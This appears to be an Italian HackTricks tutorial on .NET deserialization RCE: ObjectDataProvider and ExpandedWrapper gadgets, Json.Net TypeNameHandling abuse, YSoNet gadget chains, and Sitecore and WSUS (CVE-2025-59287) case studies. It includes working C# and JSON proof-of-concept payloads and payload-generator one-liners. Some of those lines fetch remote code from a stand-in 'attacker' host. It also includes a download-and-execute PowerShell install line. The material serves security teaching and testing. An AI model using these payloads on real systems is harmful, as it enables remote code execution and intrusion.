Deserializzazione .Net di base (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questo post è dedicato a capire come il gadget ObjectDataProvider viene sfruttato per ottenere RCE e come le librerie di serializzazione Json.Net e xmlSerializer possono essere abusate con quel gadget.

ObjectDataProvider Gadget

Dalla documentazione: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sì, è una spiegazione strana, quindi vediamo cosa ha di così interessante questa classe: questa classe permette di incapsulare un oggetto arbitrario, usare MethodParameters per impostare parametri arbitrari, e poi usare MethodName per chiamare una funzione arbitraria dell’oggetto dichiarato usando i parametri arbitrari.
Di conseguenza, l’oggetto arbitrario eseguirà una funzione con parametri durante la deserializzazione.

Come è possibile

Il namespace System.Windows.Data, presente in PresentationFramework.dll in C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, è dove ObjectDataProvider è definito e implementato.

Usando dnSpy puoi ispezionare il codice della classe che ci interessa. Nell’immagine sotto vediamo il codice di PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name

Come puoi osservare, quando viene impostato MethodName viene chiamato base.Refresh(). Diamo un’occhiata a cosa fa:

Ok, continuiamo a vedere cosa fa this.BeginQuery(). BeginQuery è sovrascritto da ObjectDataProvider e questo è ciò che fa:

Nota che alla fine del codice viene chiamato this.QueryWorke(null). Vediamo cosa esegue:

Nota che questo non è il codice completo della funzione QueryWorker ma mostra la parte interessante: il codice chiama this.InvokeMethodOnInstance(out ex); questa è la riga in cui viene invocato il metodo impostato.

Se vuoi verificare che basta impostare il MethodName per far sì che venga eseguito, puoi eseguire questo codice:

Demo C#: ObjectDataProvider attiva Process.Start ```csharp using System.Windows.Data; using System.Diagnostics;

namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }

</details>

Nota che è necessario aggiungere come riferimento _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ per caricare `System.Windows.Data`

## ExpandedWrapper

Usando l'exploit precedente ci saranno casi in cui l'**object** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (per esempio nella vuln di DotNetNuke, usando XmlSerializer, l'oggetto è stato deserializzato usando `GetType`). In tal caso, non avrà **conoscenza del tipo di oggetto che è racchiuso** nell'istanza _ObjectDataProvider_ (ad esempio `Process`). Puoi trovare più [informazioni sulla vuln di DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).

Questa classe permette di s**pecificare i tipi degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere usata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **incapsulare \_ObjectDataProvider**_** all'interno di un'istanza **_**ExpandedWrapper** \_ e **quando deserializzata** questa classe **creerà** l'oggetto _**OjectDataProvider**_ che **eseguirà** la **funzione** indicata in _**MethodName**_.

Puoi verificare questo wrapper con il seguente codice:

<details>
<summary>Demo C#: ExpandedWrapper che incapsula ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Nella official web page è indicato che questa libreria permette di serializzare e deserializzare qualsiasi oggetto .NET con il potente JSON serializer di Json.NET. Quindi, se potessimo deserializzare il gadget ObjectDataProvider, potremmo causare una RCE semplicemente deserializzando un oggetto.

Esempio Json.Net

Prima di tutto vediamo un esempio su come serializzare/deserializzare un oggetto usando questa libreria:

Demo C#: Json.NET serializzare/deserializzare ```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;

namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = “james@example.com”, Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { “User”, “Admin” } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{“Email”:“james@example.com”,“Active”:true,“CreatedDate”:“2013-01-20T00:00:00Z”,“Roles”:[“User”,“Admin”]}

//Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } }

</details>

### Abuso di Json.Net

Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) ho creato l'exploit:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In questo codice puoi testare l’exploit; eseguilo e vedrai che calc viene avviato:

C# demo: Json.NET ObjectDataProvider exploitation PoC ```csharp using System; using System.Text; using Newtonsoft.Json;

namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } }

</details>

## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

La tecnica ObjectDataProvider + ExpandedWrapper introdotta sopra è solo una delle MOLTE catene di gadget che possono essere abusate quando un'applicazione esegue una **unsafe .NET deserialization**. Strumenti moderni per red-team come **[YSoNet](https://github.com/irsdl/ysonet)** (e il più vecchio [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizzano la creazione di **ready-to-use malicious object graphs** per decine di gadget e formati di serializzazione.

Di seguito una sintesi di riferimento delle catene più utili incluse in *YSoNet* con una breve spiegazione del funzionamento e comandi di esempio per generare i payload.

| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Corrompe il record `DelegateSerializationHolder` in modo che, una volta materializzato, il delegate punti a *qualsiasi* metodo fornito dall'attaccante (es. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abusa di `System.Workflow.ComponentModel.ActivitySurrogateSelector` per *bypassare il type-filtering in .NET ≥4.8* e invocare direttamente il **costruttore** di una classe fornita o **compilare** un file C# al volo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Sfrutta la rappresentazione XML **legacy** di `System.Data.DataSet` per istanziare tipi arbitrari compilando i campi `<ColumnMapping>` / `<DataType>` (opzionalmente falsificando l'assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Su runtime abilitati WPF (> .NET 5) concatena getter di proprietà fino a raggiungere `System.CodeDom.Compiler.CompilerResults`, quindi *compila* o *carica* una DLL fornita con `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Usa WPF `System.Windows.Data.ObjectDataProvider` per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una comoda variante `--xamlurl` per ospitare l'XAML malevolo in remoto | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Incorpora uno `ScriptBlock` dentro `System.Management.Automation.PSObject` che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

> [!TIP]
> Tutti i payload vengono **scritti su *stdout*** per default, rendendo banale instradarli verso altri strumenti (es. ViewState generators, base64 encoders, HTTP clients).

### Compilazione / Installazione di YSoNet

Se non sono disponibili binari precompilati in *Actions ➜ Artifacts* / *Releases*, la seguente one-liner **PowerShell** configurerà un ambiente di build, clonerà il repository e compilerà tutto in modalità *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Il file compilato ysonet.exe si trova in ysonet/bin/Release/.

Sink reale: Sitecore convertToRuntimeHtml → BinaryFormatter

Un sink .NET pratico raggiungibile nei flussi autenticati di Sitecore XP Content Editor:

  • Sink API: Sitecore.Convert.Base64ToObject(string) invoca new BinaryFormatter().Deserialize(...).
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, che cerca un elemento fratello con id="{iframeId}_inner" e legge un attributo value che viene trattato come dati serializzati codificati in base64. Il risultato viene convertito in string e inserito nell’HTML.
Flusso HTTP di trigger del sink Sitecore autenticato ```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=

// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…

</details>

- Gadget: qualsiasi catena BinaryFormatter che restituisce una stringa (gli effetti collaterali vengono eseguiti durante la deserializzazione). Vedi YSoNet/ysoserial.net per generare payload.

Per una catena completa che inizia pre‑auth con HTML cache poisoning in Sitecore e porta a questo sink:

<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>

## Caso di studio: deserializzazione .NET insicura in WSUS (CVE-2025-59287)

- Prodotto/ruolo: Windows Server Update Services (WSUS) su Windows Server 2012 → 2025.
- Superficie d'attacco: endpoint WSUS ospitati su IIS via HTTP/HTTPS su TCP 8530/8531 (spesso esposti internamente; l'esposizione su Internet è ad alto rischio).
- Causa principale: deserializzazione non autenticata di dati controllati dall'attaccante usando formattatori legacy:
- L'endpoint `GetCookie()` deserializza un `AuthorizationCookie` con `BinaryFormatter`.
- `ReportingWebService` esegue una deserializzazione non sicura tramite `SoapFormatter`.
- Impatto: un oggetto serializzato appositamente creato innesca una gadget chain durante la deserializzazione, portando all'esecuzione di codice arbitrario come `NT AUTHORITY\SYSTEM` sotto il servizio WSUS (`wsusservice.exe`) o l'app pool IIS `wsuspool` (`w3wp.exe`).

Note pratiche di sfruttamento
- Scoperta: Scansiona WSUS su TCP 8530/8531. Considera qualsiasi blob serializzato pre-auth che raggiunge i metodi web WSUS come un sink potenziale per payload `BinaryFormatter`/`SoapFormatter`.
- Payloads: Usa YSoNet/ysoserial.net per generare catene `BinaryFormatter` o `SoapFormatter` (ad es., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Linea di processo prevista in caso di successo:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`

## Riferimenti
- [YSoNet – Generatore di payload per deserializzazione .NET](https://github.com/irsdl/ysonet)
- [ysoserial.net – strumento PoC originale](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) sfruttata attivamente](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – avviso CVE-2025-59287](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)

> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>